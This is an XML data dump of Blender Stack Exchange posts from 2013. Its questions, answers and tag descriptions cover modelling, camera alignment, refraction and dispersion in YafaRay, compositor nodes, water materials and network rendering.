  <row Id="30" PostTypeId="2" ParentId="21" CreationDate="2013-05-22T21:57:28.473" Score="14" Body="&lt;p&gt;As a general rule of thumb you should never have overlapping faces as you'll almost always get the artifacts you're seeing.. You're better off removing the overlap.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-05-22T21:57:28.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32" PostTypeId="2" ParentId="1" CreationDate="2013-05-22T22:08:02.940" Score="24" Body="&lt;p&gt;With Blender 2.66 or later, you can use a combination of rigid body physics and softbody on the same object. This should help you achieve the effect you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, increase the &lt;code&gt;goal&lt;/code&gt; value and &lt;code&gt;goal stiffness&lt;/code&gt; in softbody settings will help you retain the shape of a mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/1742071/StackExchange/softbodyGoal.blend&quot;&gt;Take a look at this sample scene&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-05-22T22:08:02.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33" PostTypeId="1" CreationDate="2013-05-22T22:20:30.973" Score="9" ViewCount="568" Body="&lt;p&gt;I know a bit about controlling dispersion, but I am interested in learning how to use IOR (index of refraction) to mimic specific materials, like a sodium-rich glass.  What is the best way to configure this? Am I just missing something? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answers regarding Yafaray are preferred, but answers regarding other engines (Lux, etc.) would be interesting too.&lt;/p&gt;&#xA;" OwnerUserId="39" LastEditorUserId="599" LastEditDate="2014-12-16T01:50:41.970" LastActivityDate="2014-12-16T01:50:41.970" Title="How do I control refractive properties realistically?" Tags="&lt;rendering&gt;&lt;light&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34" PostTypeId="2" ParentId="17" CreationDate="2013-05-22T22:28:30.477" Score="19" Body="&lt;p&gt;I don't believe Cycles simulates light as waves. But Dispersion (Diffraction) effects are on the way, and can already be 'faked' in many ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested in optics experiment with cycles, take a look at the &lt;a href=&quot;http://bensimonds.com/2013/03/04/cycles-experiment-pinhole-camera/&quot;&gt;pinhole camera&lt;/a&gt; and &#xA;&lt;a href=&quot;http://www.blendernation.com/2011/08/26/simulating-bokeh-shapes-with-cycles/&quot;&gt;shaped bokeh.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-05-22T22:28:30.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35" PostTypeId="5" CreationDate="2013-05-22T22:31:31.657" Score="0" Body="&lt;p&gt;YafaRay is a cross-platform, open-source rendering engine highly integrated with Blender. YafaRay, similar to the Cycles rendering engine, uses &lt;em&gt;raytracing&lt;/em&gt;, which means that it produces images by tracing paths of light through a 3D scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;YafaRay supports both unbiased and biased rendering techniques to get as  realistic results as possible in less time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;YafaRay currently comes as an addon to Blender, and can be downloaded at &lt;a href=&quot;http://www.yafaray.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.yafaray.org/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;YafaRay supports the following features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Photon mapping&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Global / background illumination&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Caustics&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Procedural and UV-mapped textures&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Several different camera types&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Four highly versatile material types (Shiny/Diffuse, Glossy, Coated/Glossy, and Glass)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Volumetric shading&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-14T15:56:28.547" LastActivityDate="2013-07-14T15:56:28.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36" PostTypeId="4" CreationDate="2013-05-22T22:31:31.657" Score="0" Body="YafaRay is a free and open-source raytracing rendering engine which supports both biased and unbiased rendering techniques." OwnerUserId="12" LastEditorUserId="599" LastEditDate="2013-07-13T23:47:20.803" LastActivityDate="2013-07-13T23:47:20.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37" PostTypeId="2" ParentId="19" CreationDate="2013-05-22T22:33:43.660" Score="16" Body="&lt;p&gt;If you want to do this relatively easily and for certain edges, select the appropriate faces in edit mode and click EDIT-&gt;Mesh-&gt;Faces-&gt;Wire Frame on a duplicate of your original model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assign new materials with emission. I recommend just doing a solid material and join the models back together (I really usually work in Cycles, and if doing so you can use a simple Emission shader since Blender Internal doesn't really like emitting from materials in my experience). This adds a few vertices, depending on how smooth you want your outlines to be, but I've found that usually they can be pretty simple. You wind up with something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jbUKg.png&quot; alt=&quot;And here&amp;#39;s a sample render out, combined with a look at my emission shader that makes it go.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2013-05-22T23:26:48.947" LastActivityDate="2013-05-22T23:26:48.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38" PostTypeId="2" ParentId="6" CreationDate="2013-05-22T22:33:43.873" Score="5" Body="&lt;p&gt;Another solution is the Ocean Simulator. It is built into Blender as a texture, which you can use to either displace a mesh, or use as a normal map.&lt;/p&gt;&#xA;&lt;p&gt;Ocean texture is slower than a normal texture, but can provide great result if that's the kind of ripple you are looking for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/physics/ocean.html#ocean-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/manual/en/latest/modeling/modifiers/physics/ocean.html#ocean-modifier&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="15924" LastEditDate="2020-11-30T00:54:30.900" LastActivityDate="2020-11-30T00:54:30.900" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="39" PostTypeId="5" CreationDate="2013-05-22T22:38:16.400" Score="0" Body="&lt;p&gt;Lighting on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Lighting&quot; rel=&quot;nofollow&quot;&gt;blender wik&lt;/a&gt;i.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-05-15T21:39:32.587" LastActivityDate="2014-05-15T21:39:32.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40" PostTypeId="4" CreationDate="2013-05-22T22:38:16.400" Score="0" Body="Questions about light, lamps, lighting and lighting issues." OwnerUserId="20" LastEditorUserId="2217" LastEditDate="2014-05-15T21:39:46.470" LastActivityDate="2014-05-15T21:39:46.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41" PostTypeId="2" ParentId="33" CreationDate="2013-05-22T22:48:23.507" Score="6" Body="&lt;p&gt;In physics, dispersion is caused because different wavelengths of light (colors) have different speeds than each other depending on the medium, and therefore have more or less refraction than other wavelengths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in Yafaray, you have the basic IOR field, as seen below. But, the dispersion field is simply one field. To get accurate dispersion, you would have to enter the IOR for every single wavelength of light, because dispersion is not linear. It is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Dispersion_%28optics%29&quot; rel=&quot;noreferrer&quot;&gt;complicated relationship&lt;/a&gt;. But, since Yafaray only has a single slider (Dispersion Power) that affects dispersion, I'm not sure if it is the right tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_refractive_indices&quot; rel=&quot;noreferrer&quot;&gt;Here&lt;/a&gt; is a good list of refractive indices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YdDwE.jpg&quot; alt=&quot;Yafaray glass settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My comment stated: 'Two words &lt;strong&gt;use Cycles.&lt;/strong&gt;', but I didn't know that Cycles doesn't have dispersion/caustic support (YET). You might want to check out LuxRender, but I believe that it hasn't been updated since 2009. &lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-05-22T23:58:46.260" LastActivityDate="2013-05-22T23:58:46.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42" PostTypeId="2" ParentId="22" CreationDate="2013-05-22T22:52:36.230" Score="5" Body="&lt;p&gt;In your case, it looks like the large ngon is tessellated (which in this case blender internally converts into skinny triangles &lt;em&gt;before&lt;/em&gt; running the boolean function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for better results you could make the large ngon into smaller. more evenly spaces faces, or if its not an ngon, just avoid having many skinny triangles as input since these tend to give worse output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check geometry for sanity (normals pointing correctly, no holes in geometry)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-05-22T22:52:36.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43" PostTypeId="1" AcceptedAnswerId="53" CreationDate="2013-05-23T00:36:30.073" Score="172" ViewCount="308257" Body="&lt;p&gt;Often I want to just point the camera to an object or a specific area in my scene to get an idea of how it'll look in the render. What's the most painless hassle-free way to do this in blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick search on the blender wiki does not lend itself to easy look-up due to all the noise in the search result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question could probably be broken down into these two main questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do I point a selected camera to the current 3d-cursor location in the scene?&lt;/li&gt;&#xA;&lt;li&gt;How do I point the selected camera to the currently selected object(s) in the scene?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="58" LastActivityDate="2020-10-12T19:16:37.970" Title="What's the quickest, easiest way to point the camera somewhere in blender?" Tags="&lt;camera&gt;&lt;scene&gt;" AnswerCount="10" CommentCount="2" FavoriteCount="69" ContentLicense="CC BY-SA 3.0" />
  <row Id="44" PostTypeId="5" CreationDate="2013-05-23T00:38:47.393" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T00:38:47.393" LastActivityDate="2013-05-23T00:38:47.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="45" PostTypeId="4" CreationDate="2013-05-23T00:38:47.393" Score="0" Body="Questions pertaining to Mac computers (and the OSX operating system). Anything from performance issues to technical problems are acceptable.&#xD;&#xA;" OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-08-03T00:51:14.887" LastActivityDate="2013-08-03T00:51:14.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="46" PostTypeId="5" CreationDate="2013-05-23T00:39:27.837" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T00:39:27.837" LastActivityDate="2013-05-23T00:39:27.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="47" PostTypeId="4" CreationDate="2013-05-23T00:39:27.837" Score="0" Body="Questions pertaining to the Windows Operating System as it relates to Blender. Questions can be anything from compatibility to optimization." OwnerUserId="20" LastEditorUserId="58" LastEditDate="2013-05-24T15:50:51.927" LastActivityDate="2013-05-24T15:50:51.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="48" PostTypeId="1" AcceptedAnswerId="56" CreationDate="2013-05-23T00:39:47.353" Score="29" ViewCount="19157" Body="&lt;p&gt;I've been thinking of animating some dice and while most are easy to make, I'm having some trouble figuring out a way to generate a regular dodecahedron. I could hand build it but it would be potentially uneven. Would using the base of a 5 sided cylinder and then some variation on spin be the best option or is there a better way? &lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="12" LastEditDate="2014-05-26T17:17:06.077" LastActivityDate="2015-10-21T09:56:23.370" Title="What is the simplest way to generate a dodecahedron?" Tags="&lt;mesh&gt;&lt;modeling&gt;&lt;geometry&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="49" PostTypeId="5" CreationDate="2013-05-23T00:40:07.787" Score="0" Body="&lt;p&gt;Questions pertaining to the Linux Operating System as it relates to Blender. Questions can be anything from compatibility to optimization to making Blender work on a specific distro.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-05-24T15:49:53.060" LastActivityDate="2013-05-24T15:49:53.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="50" PostTypeId="4" CreationDate="2013-05-23T00:40:07.787" Score="0" Body="Questions pertaining to the Linux Operating System as it relates to Blender. Questions can be anything from compatibility to optimization to making Blender work on a specific distro." OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-05-24T15:49:43.450" LastActivityDate="2013-05-24T15:49:43.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="51" PostTypeId="5" CreationDate="2013-05-23T00:42:23.557" Score="0" Body="&lt;p&gt;Freestyle is an edge/line-based non-photorealistic (NPR) rendering engine. It relies on mesh data and Z-depth information to draw lines on selected edge types. Various line styles can be added to produce artistic (“hand drawn”, “painted”, etc.) or technical (hard line) looks.&lt;/p&gt;&#xA;&lt;p&gt;Freestyle at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/freestyle/index.html#freestyle&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15924" LastEditorUserId="15924" LastEditDate="2020-10-21T21:14:07.863" LastActivityDate="2020-10-21T21:14:07.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="52" PostTypeId="4" CreationDate="2013-05-23T00:42:23.557" Score="0" Body="An edge and line-based non-photorealistic (NPR) rendering engine. Available in Blender since version 2.67.&#xD;&#xA;Use this tag for all of your Freestyle related questions." OwnerUserId="14" LastEditorUserId="15924" LastEditDate="2020-10-21T22:06:17.687" LastActivityDate="2020-10-21T22:06:17.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="53" PostTypeId="2" ParentId="43" CreationDate="2013-05-23T00:48:44.367" Score="167" Body="&lt;p&gt;The absolute &lt;em&gt;quickest&lt;/em&gt; way to do this is to find a good position in the 3d viewport by navigating as normal with the mouse. Next, select the camera and use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Numpad 0&lt;/kbd&gt; or from the &lt;em&gt;3d view&lt;/em&gt; header, &lt;em&gt;View &amp;gt; Align View &amp;gt; Align Active Camera to View&lt;/em&gt; to position/point the camera in the direction you are facing in the viewport.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, to point the camera towards an object, you can select the camera, add a &lt;em&gt;Track To&lt;/em&gt; constraint to it (constraints can be added in the Constraints tab), choose the object in the Target field, &lt;em&gt;-Z&lt;/em&gt; in the To field, and &lt;em&gt;Y&lt;/em&gt; in the Up field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WHXaq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The camera will now &lt;em&gt;always&lt;/em&gt; point at the object no matter where it &lt;em&gt;(the camera or object)&lt;/em&gt; is moved to. This way isn't very efficient however and it is much better to point the camera towards an &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/empties.html#empties&quot; rel=&quot;noreferrer&quot;&gt;empty&lt;/a&gt; and then position the empty wherever the point of interest lies.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2020-10-12T19:16:37.970" LastActivityDate="2020-10-12T19:16:37.970" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="54" PostTypeId="2" ParentId="43" CreationDate="2013-05-23T00:49:00.970" Score="16" Body="&lt;p&gt;Both of these things can be done via the &quot;View&quot; menu. In order to view the current 3d cursor location you would:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;View -&gt; Align View -&gt; Center View to Cursor (&lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Home&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;View -&gt; Align View -&gt; Align Active Camera to View (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Numpad 0&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In order to point the Camera at the currently selected object(s):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;View -&gt; Align View -&gt; Align Active Camera to Selected&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, if you want to quickly set the Camera to view all objects in the current scene you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;View -&gt; Align View -&gt; Center Cursor and View All (&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;View -&gt; Align View -&gt; Align Active Camera to View (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Numpad 0&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6" LastEditorUserId="20611" LastEditDate="2016-01-03T15:06:37.403" LastActivityDate="2016-01-03T15:06:37.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="55" PostTypeId="2" ParentId="43" CreationDate="2013-05-23T00:50:00.380" Score="18" Body="&lt;ol&gt;&#xA;&lt;li&gt;Select the object(s) you want your camera to be pointed at.&lt;/li&gt;&#xA;&lt;li&gt;Press Numpad dot(&lt;kbd&gt;.&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Choose desired view by pressing Numpad numbers and zoom by scrolling mouse wheel &lt;em&gt;(Optional).&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Numpad&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="48" LastEditorUserId="12" LastEditDate="2013-05-30T23:13:09.543" LastActivityDate="2013-05-30T23:13:09.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="56" PostTypeId="2" ParentId="48" CreationDate="2013-05-23T00:53:45.997" Score="48" Body="&lt;p&gt;Go to &lt;em&gt;User Preferences&lt;/em&gt; and Navigate to &lt;em&gt;Add Mesh&lt;/em&gt;, install the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Add_Solid&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Regular Solids&lt;/em&gt; addon&lt;/a&gt; and close the preferences window. Now if you hit &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; you should see a new menu.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In newer versions of blender (2.75 and up) the Regular Solids addon has been merged with the &lt;strong&gt;&lt;em&gt;Extra Objects&lt;/em&gt;&lt;/strong&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2n8xM.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2n8xM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a dodecahedron go use &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; to &lt;em&gt;Add Mesh &gt; Math Function &gt; Regular Solid&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WpNtI.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WpNtI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the toolshelf you can select Dodecahedron.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1do3c.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1do3c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-10-21T09:56:23.370" LastActivityDate="2015-10-21T09:56:23.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="60" PostTypeId="1" CreationDate="2013-05-23T01:02:40.477" Score="11" ViewCount="1659" Body="&lt;p&gt;I was messing around with a scene earlier today and looked up some tutorials on chromatic aberration, and I noticed that all the tutorials I found had both a compositor node and a viewer node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any real important reason for using one over the other? Both export to the UV/Image Editor and allow saving out to .png files, and both seem to create an identical final image with my depth of field, glow, and chromatic aberration. Are there situations where one is better than another?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="6204" LastEditDate="2015-12-14T00:22:18.270" LastActivityDate="2020-10-12T19:18:41.750" Title="What is the difference between a Viewer and a Compositor node?" Tags="&lt;compositor&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="61" PostTypeId="2" ParentId="60" CreationDate="2013-05-23T01:04:49.707" Score="3" Body="&lt;p&gt;The Viewer is a temporary viewer. Use it when you want to see the progress of a node tree. It's also what the node that lets you view a backdrop, if the checkbox is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Composite node is the output for the final render. You should only have one.&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-05-23T01:11:37.837" LastActivityDate="2013-05-23T01:11:37.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="62" PostTypeId="1" CreationDate="2013-05-23T01:10:05.030" Score="17" ViewCount="6322" Body="&lt;p&gt;While modelling an object in blender it's not unusual to have overlapping vertices that are exactly on top of each other. This happens easily when I extrude and manipulate the mesh and then change my mind later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So removing doubles tends to be a common operation. However, wouldn't it make more sense to have blender automatically do this to help improve workflow?&#xA;Are there any situations where I wouldn't want to remove double vertices?&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="6204" LastEditDate="2016-12-19T18:45:44.050" LastActivityDate="2016-12-19T18:45:44.050" Title="Would the automatic removal of double vertices ever be undesirable?" Tags="&lt;modeling&gt;&lt;vertices&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="63" PostTypeId="2" ParentId="60" CreationDate="2013-05-23T01:11:44.643" Score="11" Body="&lt;p&gt;As per the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/compositing/types/output/viewer.html#viewer-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;They are two of several output nodes and allow you see or save the working image in progress. At any point only one viewer and one composite node is active.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The &lt;em&gt;&lt;strong&gt;Viewer&lt;/strong&gt;&lt;/em&gt; node is a temporary, in-process viewer. Plug it in wherever&#xA;you would like to see an image or value-map in your node-tree.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;and&lt;/em&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The &lt;em&gt;&lt;strong&gt;Composite&lt;/strong&gt;&lt;/em&gt; node is where the actual output from the compositor is&#xA;connected to the renderer. Connecting a node to the Composite node&#xA;will output the result of that node's full tree to the Renderer,&#xA;leaving this node unconnected will result in a blank image. This node&#xA;is updated after each render, but also if you change things in your&#xA;node-tree (provided at least one finished input node is connected).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2020-10-12T19:18:41.750" LastActivityDate="2020-10-12T19:18:41.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="64" PostTypeId="1" AcceptedAnswerId="783" CreationDate="2013-05-23T01:14:54.673" Score="49" ViewCount="105205" Body="&lt;p&gt;I'm creating a scene with large amounts of water that will be readily visible, containing refraction and at various angles. The scene is an indoor long-course swimming pool, about 50 meters, all of which would be seen by a camera above 5 meters above the water's surface. This is being fluid-sim'd, but there are no quickly-moving objects or people, so any water movement is slower and in bulk. The &quot;remove bubbles&quot; option is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using a Mix Shader of Refraction BSDF and Reflection BSDF with the factor coming from a Fresnel node, but the results appear either too glossy or too transparent and overly colored. How can I make the water appear realistic? Changes to shaders (refraction to glass)? Or is tweaking colors sufficient?&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="372" LastEditDate="2013-06-09T22:26:56.387" LastActivityDate="2020-05-09T16:15:24.230" Title="How can I create a water material in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="8" CommentCount="3" FavoriteCount="28" ContentLicense="CC BY-SA 3.0" />
  <row Id="65" PostTypeId="2" ParentId="62" CreationDate="2013-05-23T01:17:50.433" Score="15" Body="&lt;p&gt;One case would be if you didn't want to lose sharp edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you apply the edge-split modifier, it will be splitting off faces based upon the angle. It will actually be splitting them individually so there will be doubled vertices. If you remove doubles, you'll lose the sharp edges.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-23T01:17:50.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="66" PostTypeId="1" AcceptedAnswerId="115" CreationDate="2013-05-23T01:17:53.983" Score="8" ViewCount="909" Body="&lt;p&gt;I'm using the blender network render plugin in the official plugin list. I have a few computers throughout the internet(WAN) that I am able to render on. Assuming I can get network connectivity(forwarding ports and other considerations), what kind of bandwidth requirements are there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have mainly procedural materials of 40 or so nodes, and only one scene. The .blend file is approximately 9MB. Will this file need to be sent once for each render slave, and each frame sent back? Or will more communication be needed that is not negligible? (I'm not using baked or cached simulations)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming bursts of high activity when sending and receiving frames. Would this be true in practice? Or would other bandwidth considerations need to be taken?&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="68" LastEditDate="2013-05-23T10:32:29.820" LastActivityDate="2013-05-23T10:32:29.820" Title="How may I establish a render farm over WAN?" Tags="&lt;rendering&gt;&lt;network&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="67" PostTypeId="1" AcceptedAnswerId="69" CreationDate="2013-05-23T01:20:54.447" Score="16" ViewCount="10929" Body="&lt;p&gt;When a mesh is smoothed, every selected vertex is moved towards the average position of its neighbors. Is there a way to do the opposite, given a mesh with bumps, curves and corners, to move selected vertices by small amounts opposite of what mesh smoothing would do?&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="599" LastEditDate="2013-08-27T23:09:27.673" LastActivityDate="2020-10-20T12:23:10.210" Title="Can Blender &quot;un-smooth&quot; a mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="6" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="68" PostTypeId="2" ParentId="62" CreationDate="2013-05-23T01:22:31.510" Score="13" Body="&lt;p&gt;Yes when using Blender for exporting to other applications. Not all exporters handle the &quot;hard edges&quot; attribute in Blender meshes in the same way and, often, the only way to have said hard edges is to use the edge-split modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not as bad when everything is being done in Blender, but that is not possible for commercial indie game development, external renderers (other than Cycles), etc.&lt;/p&gt;&#xA;" OwnerUserId="45" LastActivityDate="2013-05-23T01:22:31.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
